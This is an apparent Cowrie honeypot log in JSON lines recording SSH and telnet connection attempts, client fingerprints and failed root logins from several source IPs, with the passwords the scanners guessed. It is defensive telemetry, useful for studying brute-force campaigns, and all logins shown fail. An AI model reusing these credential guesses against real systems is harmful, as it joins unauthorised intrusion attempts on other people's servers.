{"eventid":"cowrie.login.failed","username":"root","password":"boom","message":"login attempt [root/boom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:23.420192Z","src_ip":"193.233.48.169","session":"64fd616d08fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:23.567831Z","src_ip":"80.94.92.184","session":"d528331b07f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:24.546415Z","src_ip":"193.233.48.169","session":"64fd616d08fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:24.787461Z","src_ip":"80.94.92.184","session":"d528331b07f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":57660,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9d6d10f85b6","protocol":"ssh","message":"New connection: 43.134.177.27:57660 (10.17.0.5:22) [session: f9d6d10f85b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:25.019885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:25.024996Z","src_ip":"43.134.177.27","session":"f9d6d10f85b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:25.271373Z","src_ip":"43.134.177.27","session":"f9d6d10f85b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lb123456.","message":"login attempt [root/lb123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:26.285783Z","src_ip":"43.134.177.27","session":"f9d6d10f85b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:27.534842Z","src_ip":"43.134.177.27","session":"f9d6d10f85b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.48801898956299,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:28.949467Z","src_ip":"192.119.13.58","session":"f863a90da51c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38166,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca3db894db8","protocol":"telnet","message":"New connection: 192.119.13.58:38166 (10.17.0.5:23) [session: 7ca3db894db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:30.341013Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42702,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce3f773f8ea","protocol":"telnet","message":"New connection: 192.119.13.58:42702 (10.17.0.5:23) [session: 1ce3f773f8ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:31.362523Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":46094,"dst_ip":"159.203.135.109","dst_port":22,"session":"3782e62e1176","protocol":"ssh","message":"New connection: 165.154.23.26:46094 (159.203.135.109:22) [session: 3782e62e1176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:33.611580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:33.616459Z","src_ip":"165.154.23.26","session":"3782e62e1176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:33.835304Z","src_ip":"165.154.23.26","session":"3782e62e1176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:34.751661Z","src_ip":"165.154.23.26","session":"3782e62e1176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.547637939453125,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:35.000482Z","src_ip":"192.119.13.58","session":"4856b0c82313","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:35.982907Z","src_ip":"165.154.23.26","session":"3782e62e1176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56188,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ba62a0bfe3","protocol":"ssh","message":"New connection: 103.77.175.15:56188 (10.17.0.5:22) [session: 84ba62a0bfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:43.798146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:43.803452Z","src_ip":"103.77.175.15","session":"84ba62a0bfe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:44.055216Z","src_ip":"103.77.175.15","session":"84ba62a0bfe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"police","message":"login attempt [root/police] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:44.905716Z","src_ip":"103.77.175.15","session":"84ba62a0bfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40612,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0a336504b15","protocol":"telnet","message":"New connection: 192.119.13.58:40612 (10.17.0.5:23) [session: a0a336504b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:45.061106Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:46.160413Z","src_ip":"103.77.175.15","session":"84ba62a0bfe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":49419,"dst_ip":"10.17.0.5","dst_port":22,"session":"1645083ade01","protocol":"ssh","message":"New connection: 186.122.177.140:49419 (10.17.0.5:22) [session: 1645083ade01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:48.441614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:48.445669Z","src_ip":"186.122.177.140","session":"1645083ade01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:48.625840Z","src_ip":"186.122.177.140","session":"1645083ade01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"supersuper","message":"login attempt [root/supersuper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:49.481103Z","src_ip":"186.122.177.140","session":"1645083ade01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:50.664131Z","src_ip":"186.122.177.140","session":"1645083ade01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.41344594955444,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:52.879669Z","src_ip":"192.119.13.58","session":"59a491f76671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53732,"dst_ip":"159.203.135.109","dst_port":22,"session":"b23cdf0021df","protocol":"ssh","message":"New connection: 193.37.70.224:53732 (159.203.135.109:22) [session: b23cdf0021df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:52.951475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:52.959407Z","src_ip":"193.37.70.224","session":"b23cdf0021df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:53.052219Z","src_ip":"193.37.70.224","session":"b23cdf0021df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantom","message":"login attempt [root/fantom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:53.353161Z","src_ip":"193.37.70.224","session":"b23cdf0021df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.8290638923645,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:53.827270Z","src_ip":"192.119.13.58","session":"f4dae92b37b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"339a10246e28","protocol":"telnet","message":"New connection: 192.119.13.58:50608 (10.17.0.5:23) [session: 339a10246e28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:54.204602Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:54.447395Z","src_ip":"193.37.70.224","session":"b23cdf0021df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54728,"dst_ip":"10.17.0.5","dst_port":23,"session":"e29318030619","protocol":"telnet","message":"New connection: 192.119.13.58:54728 (10.17.0.5:23) [session: e29318030619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:55.194233Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32908,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8834ee3d983","protocol":"telnet","message":"New connection: 192.119.13.58:32908 (10.17.0.5:23) [session: a8834ee3d983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:56.625314Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":35222,"dst_ip":"10.17.0.5","dst_port":22,"session":"de9c661868be","protocol":"ssh","message":"New connection: 43.134.177.27:35222 (10.17.0.5:22) [session: de9c661868be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:58.882898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:58.887685Z","src_ip":"43.134.177.27","session":"de9c661868be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:39:59.133566Z","src_ip":"43.134.177.27","session":"de9c661868be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0s1t1v3","message":"login attempt [root/p0s1t1v3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:00.118506Z","src_ip":"43.134.177.27","session":"de9c661868be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:01.363180Z","src_ip":"43.134.177.27","session":"de9c661868be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.165323972702026,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:03.334022Z","src_ip":"192.119.13.58","session":"28252644d2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"08fe56015421","protocol":"ssh","message":"New connection: 207.56.225.202:60690 (159.203.135.109:22) [session: 08fe56015421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:04.725851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:04.733346Z","src_ip":"207.56.225.202","session":"08fe56015421","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:04.903867Z","src_ip":"207.56.225.202","session":"08fe56015421","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arkserver123","message":"login attempt [root/arkserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:05.589785Z","src_ip":"207.56.225.202","session":"08fe56015421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.18255829811096,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:06.544956Z","src_ip":"192.119.13.58","session":"1ce3f773f8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:06.760637Z","src_ip":"207.56.225.202","session":"08fe56015421","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.9281702041626,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:40:08.269073Z","src_ip":"192.119.13.58","session":"7ca3db894db8","protocol":"telnet"}
